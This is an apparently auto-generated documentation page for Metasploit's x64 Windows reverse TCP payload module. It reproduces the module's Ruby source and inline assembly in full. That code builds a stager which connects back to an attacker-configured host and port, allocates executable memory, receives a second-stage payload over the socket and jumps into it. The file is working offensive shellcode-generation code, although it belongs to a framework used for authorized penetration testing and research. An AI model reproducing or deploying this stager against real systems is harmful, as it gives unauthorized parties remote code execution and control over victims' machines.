Module: Msf::Payload::Windows::ReverseTcp_x64

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64, SendUUID_x64
Included in:
ReverseTcpRc4_x64
Defined in:
lib/msf/core/payload/windows/x64/reverse_tcp.rb

Overview

Complex reverse_tcp payload generation for Windows ARCH_X64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from SendUUID_x64

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_block_recv(opts = {}) ⇒ Object


198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 198

def asm_block_recv(opts={})

  reliable     = opts[:reliable]

  asm = %Q^
    recv:
    ; Receive the size of the incoming second stage...
      sub rsp, 16             ; alloc some space (16 bytes) on stack for to hold the
                              ; second stage length
      mov rdx, rsp            ; set pointer to this buffer
      xor r9, r9              ; flags
      push 4                  ;
      pop r8                  ; length = sizeof( DWORD );
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, &dwLength, 4, 0 );
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the recv worked, and reconnect
    ; if it fails
      cmp eax, 0
      jle cleanup_socket
    ^
  end

  asm << %Q^
      add rsp, 32             ; we restore RSP from the api_call so we can pop off RSI next

    ; Alloc a RWX buffer for the second stage
      pop rsi                 ; pop off the second stage length
      mov esi, esi            ; only use the lower-order 32 bits for the size
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly recieved second stage length.
      xor rcx, rcx            ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      mov rbx, rax            ; rbx = our new memory address for the new stage
      mov r15, rax            ; save the address so we can jump into it later

    read_more:                ;
      xor r9, r9              ; flags
      mov r8, rsi             ; length
      mov rdx, rbx            ; the current address into our second stages RWX buffer
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, buffer, length, 0 );
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the recv worked, and reconnect
    ; if it fails
      cmp eax, 0
      jge read_successful

    ; something failed so free up memory
      pop rax
      push r15
      pop rcx                 ; lpAddress
      push 0x4000             ; MEM_COMMIT
      pop r8                  ; dwFreeType
      push 0                  ; 0
      pop rdx                 ; dwSize
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call rbp                ; VirtualFree(payload, 0, MEM_COMMIT)

    cleanup_socket:
    ; clean up the socket
      push rdi                ; socket handle
      pop rcx                 ; s (closesocket parameter)
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call rbp

    ; and try again
      dec r14                 ; decrement the retry count
      jmp create_socket
    ^
  end

  asm << %Q^
    read_successful:
      add rbx, rax            ; buffer += bytes_received
      sub rsi, rax            ; length -= bytes_received
      test rsi, rsi           ; test length
      jnz read_more           ; continue if we have more to read
      jmp r15                 ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#asm_reverse_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool)

    Whether or not to enable error handling code


107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 107

def asm_reverse_tcp(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
  encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
  encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]

  asm = %Q^
    reverse_tcp:
    ; setup the structures we need on the stack...
      mov r14, 'ws2_32'
      push r14                ; Push the bytes 'ws2_32',0,0 onto the stack.
      mov r14, rsp            ; save pointer to the "ws2_32" string for LoadLibraryA call.
      sub rsp, #{408+8}       ; alloc sizeof( struct WSAData ) bytes for the WSAData
                              ; structure (+8 for alignment)
      mov r13, rsp            ; save pointer to the WSAData structure for WSAStartup call.
      mov r12, #{encoded_host_port}
      push r12                ; host, family AF_INET and port
      mov r12, rsp            ; save pointer to sockaddr struct for connect call

    ; perform the call to LoadLibraryA...
      mov rcx, r14            ; set the param for the library to load
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call rbp                ; LoadLibraryA( "ws2_32" )

    ; perform the call to WSAStartup...
      mov rdx, r13            ; second param is a pointer to this stuct
      push 0x0101             ;
      pop rcx                 ; set the param for the version requested
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call rbp                ; WSAStartup( 0x0101, &WSAData );

    ; stick the retry count on the stack and store it
      push #{retry_count}     ; retry counter
      pop r14

    create_socket:
    ; perform the call to WSASocketA...
      push rax                ; if we succeed, rax wil be zero, push zero for the flags param.
      push rax                ; push null for reserved parameter
      xor r9, r9              ; we do not specify a WSAPROTOCOL_INFO structure
      xor r8, r8              ; we do not specify a protocol
      inc rax                 ;
      mov rdx, rax            ; push SOCK_STREAM
      inc rax                 ;
      mov rcx, rax            ; push AF_INET
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call rbp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
      mov rdi, rax            ; save the socket for later

    try_connect:
    ; perform the call to connect...
      push 16                 ; length of the sockaddr struct
      pop r8                  ; pop off the third param
      mov rdx, r12            ; set second param to pointer to sockaddr struct
      mov rcx, rdi            ; the socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call rbp                ; connect( s, &sockaddr, 16 );

      test eax, eax           ; non-zero means failure
      jz connected

    handle_connect_failure:
      dec r14                 ; decrement the retry count
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0       ; hardcoded to exitprocess for size
      call rbp
    ^
  end

  asm << %Q^
    ; this  lable is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^
  asm << asm_send_uuid if include_send_uuid

  asm

end

#generateObject

Generate the first stage


35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 35

def generate
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp(conf)
end

#generate_reverse_tcp(opts = {}) ⇒ Object

Generate and compile the stager


63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 63

def generate_reverse_tcp(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp               ; block API pointer
    #{asm_reverse_tcp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


56
57
58
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 56

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse_tcp specific options


28
29
30
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 28

def initialize(*args)
  super
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 84

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'seh' is the worst case, that adds 15 bytes
  space += 15

  # Reliability adds bytes!
  space += 57

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


77
78
79
# File 'lib/msf/core/payload/windows/x64/reverse_tcp.rb', line 77

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end